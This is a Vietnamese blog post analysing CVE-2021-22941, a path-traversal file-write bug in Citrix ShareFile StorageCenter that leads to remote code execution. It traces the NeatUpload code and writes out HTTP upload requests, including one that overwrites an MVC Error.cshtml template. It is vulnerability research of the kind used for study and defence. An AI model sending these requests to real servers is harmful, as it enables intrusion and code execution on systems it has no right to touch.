+14

Phân tích CVE-2021-22941, RCE Citrix Sharefile < 5.11.20

Cái bài này mình định lên từ năm ngoái rồi, mà phân tích xong lại để đấy, thật ra là lười viết lại nên tồn đọng đến bây giờ chưa viết bài phân tích lên blog 🥲. Thôi thì ngồi viết lại vừa để có chỗ lưu lại, vừa để nhớ xem mình đã phân tích những cái gì, biết đâu sau này lại sử dụng lại thì sao 😄

Bài này mình dựa theo bài viết gốc của code white, cũng chính là nhóm phát hiện ra CVE này, bạn đọc có thể đọc bài viết gốc tại https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html

Setup

Ở đây mình setup trên 1 Windows Server 2019, sử dụng Hyper-V cho nó nhanh, các bạn cứ tải cái file VHD kia về rồi import vào Hyper-V Manager là chạy lên luôn nhé, nhanh lắm.
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019 image.png

Cài đặt Citrix Sharefile thì đơn giản lắm, tải phiên bản StorageCenter_5.11.19, sau đó bấm next next next, cho đến khi nào nó hiển thị lên trang configure là được

image.png

Debug

Xong phần cài đặt, đến phần debug thì ở đây mình sử dụng JetBrains Rider để debug, các bạn cũng có thể sử dụng thêm cả DnsSpy để vẽ map đi trace chain cho dễ dàng hơn 😄

Mở Rider lên rồi Attach to Process tới process w3wp image.png

Đợi 1 tý là nó load những thành phần cần thiết vào, chú ý nên sử dụng SSD để load project cho nhanh nhé, chứ HDD load lâu lắm 😦

image.png

Phân tích

Như ở bài viết gốc có thể thấy tác giả đã chỉ ra rằng Citrix Sharefile có sử dụng NeatUpload có niên đại tới hàng chục năm, vì nó là thư viện sử dụng để upload nên tác giả đã tìm được chỗ sử dụng để ghi file lên hệ thống

image.png

Bằng cách sử dụng tính năng Analyzer trên DnSpy chúng ta có thể tìm nhanh chóng từ Sink đến Source như sau (trên Rider cũng có tính năng Find Usages hoạt động tương tự, nhưng mà mình thích sử dụng cái Analyzer trên DnSpy hơn vì nó vẽ cái map cho mình nhìn cho nó trực quan)

image.png

Vậy chúng ta có thể thấy rằng, để upload file lên server thì có thể sử dụng Brettle.Web.NeatUpload.UploadHttpModule.Init (HttpApplication), là phương thức khởi tạo cho System.Web.IHttpModule

image.png

Sau khi kiểm tra file Web.config thì có thể thấy rằng UploadHttpModule được nạp trực tiếp vào danh sách Module trong webapp

image.png

Vậy ta có thể tìm được endpoint upload file trực tiếp lên hệ thống thông qua Application_BeginRequest()

image.png

image.png

Như hình trên ta có thể thấy được source sẽ có dạng

POST /upload.aspx HTTP/1.1
Host: localhost
Content-Length: 0

Có endpoint rồi thì data truyền vào sẽ là gì bây giờ nhở Ở Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOfThrow chúng ta có 1 đoạn như này

image.png

Có thể thấy để uploadContext thì chúng ta cần sử dụng Content-Type: multipart/form-data sử dụng bonudary. Ví dụ:

POST /upload.aspx HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=xxx
--xxx
<cái gì đấy>
--xxx--

Cũng vẫn ở Brettle.Web.NeatUpload.FilteringWorkerRequest.ParseOfThrow ta có thể thấy GetAttribute name và filename, sử dụng Content-Disposition attachment

image.png

Vậy request sẽ là:

POST /upload.aspx HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="name"; filename="filename"
<cái gì đấy nữa>
--xxx--

Tuy nhiên, vẫn tại đó, chúng ta cần thêm những paramsFromQueryString như uploadtool, bd, accountid nhưng sau những lần test của mình thì chúng ta chỉ cần thêm 2 param bp với accountid mà thôi image.png

Mặt khác, chúng ta có một dòng

bool flag1 = fieldNameTranslator.PostBackID.Contains("rsu");

Ở đây chúng ta cần phải chèn thêm giá trị PostBackID, sau một hồi debug thì hoá ra là nó nằm trong config của webapp, lần mò 1 hồi thì cũng đến được chỗ cần tìm Brettle.Web.NeatUpload.FieldNameTranslator

image.png

Cuối cùng sau một hồi debug, thì request cuối cùng có lẽ sẽ là như này:

POST /upload.aspx?id=foo&bp=bp&accountId=accountid HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=xxx
--xxx
Content-Disposition: form-data; name="name"; filename="filename"

<cái gì đấy nữa>
--xxx--

Post thử request lên rồi check phần sink xem sao

image.png

Có thể thấy rằng phần PostBackID hiện tại vẫn đang là null, có vẻ như mình vẫn chưa truyền được param id=foo. Sau một hồi debug, thì hoá ra do cái đoạn này, mình vẫn chưa đọc kỹ xem tại sao phải truyền số byte > 4096 bytes nữa thì nó mới ăn, cứ đoán vậy thôi.

image.png

Sau khi truyền được PostBackID vào FileStream rồi thì có thể thấy rằng file foo đã được ghi vào trong folder C:\inetpub\wwwroot\Citrix\StorageCenter\context với nội dung như hình dưới.

image.png

Vậy làm thế nào để RCE bây giờ 🤔
Ở đoạn code

FileStream fileStream = new FileStream(str + this.PostBackID, FileMode.Create, FileAccess.ReadWrite, FileShare.None);

Có thể thấy rằng, path được ghép bởi str=C:\inetpub\wwwroot\Citrix\StorageCenter\context + PostBackID. Biến PostBackID thì có thể control được, vậy thử path travesal xem sao 😄

POST /upload.aspx?id=../foo&bp=bp&accountId=123 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.47
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 4240
Content-Type: multipart/form-data; boundary=b74bf37b7d0548a0280c058e21597abd

--b74bf37b7d0548a0280c058e21597abd
Content-Disposition: form-data; name="name"; filename="filename"

<4096 chữ A ở đây nhé>
--b74bf37b7d0548a0280c058e21597abd--

image.png

Và ta nhận được file foo đã nhảy ra bên ngoài folder content với nội dung như trên hình.

Ờ thì giờ path travesal được rồi thì làm sao nhở, sau đọc bài của code white, họ đã có gợi ý cho mình là sử dụng ghi đè lên file template của mô hình MVC .cshtml để có thể kích hoạt lên shell

POST /upload.aspx?id=..%2FConfigService%2FViews%2FShared%2FError.cshtml&bp=bp&accountId=123z HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.47
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 4240
Content-Type: multipart/form-data; boundary=4b6955d42c8c6d258f047410fbb3fc12

--4b6955d42c8c6d258f047410fbb3fc12
Content-Disposition: form-data; name="name"; filename="filename"

<4096 chữ A ở đây nhé>
--4b6955d42c8c6d258f047410fbb3fc12--

image.png

Ngon roài, vậy giờ mình có thể ghi đè lên file Error.cshtml, tuy nhiên giờ data mình truyền vào duy nhất là biến id mà thôi, sau một hồi đọc gợi ý của code white mà mình mơ mơ màng màng chẳng hiểu gì cả. Nhưng mà sau vẫn lĩnh hội được 😁

Tạo payload

Giải thích thế này một chút cho dễ hiểu, trên Linux và Windows, việc chuẩn hoá PATH là khác nhau. Ví dụ:

  • Linux: cd a/b/c/ thì Linux sẽ kiểm tra path a, path a/b, path a/b/c có tồn tại hay không, nếu có thì thực hiện lệnh thành công.
  • Windows: cd a/b/c thì Windows sẽ thực hiện chuẩn hoá path a/b/c xem có tồn tại hay không, nếu có thì thực hiện lệnh thành công.

Vậy bạn thử cd aaa/../a/b/c trên Linux và Windows xem, trên Windows thì chạy được lệnh này còn Linux báo k có directory nào tồn tại ngay 😂. Vì Linux nó sẽ kiểm tra folder aaa/ có tồn tại không đã, rồi nó mới chạy tiếp, nếu k tồn tại thì thôi, Windows lại khác, aaa/.../a/b/c => a/b/c có tồn tại thì chạy được bình thường.

Bây giờ chúng ta cần viết ra 1 cái template file .cshtml để có thể chạy shell trên này, không được chứa các ký tự

< (less than)
> (greater than)
: (colon)
" (double quote)
/ (forward slash)
\ (backslash)
| (vertical bar or pipe)
? (question mark)
* (asterisk)

Theo https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file#naming-conventions

Mình có viết 1 mã PoC ở đây, các bạn có thể tham khảo qua nhé 😄
https://github.com/sun-asterisk-research/cybersec-pocs/tree/master/citrix_sharefile

Tham khảo


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.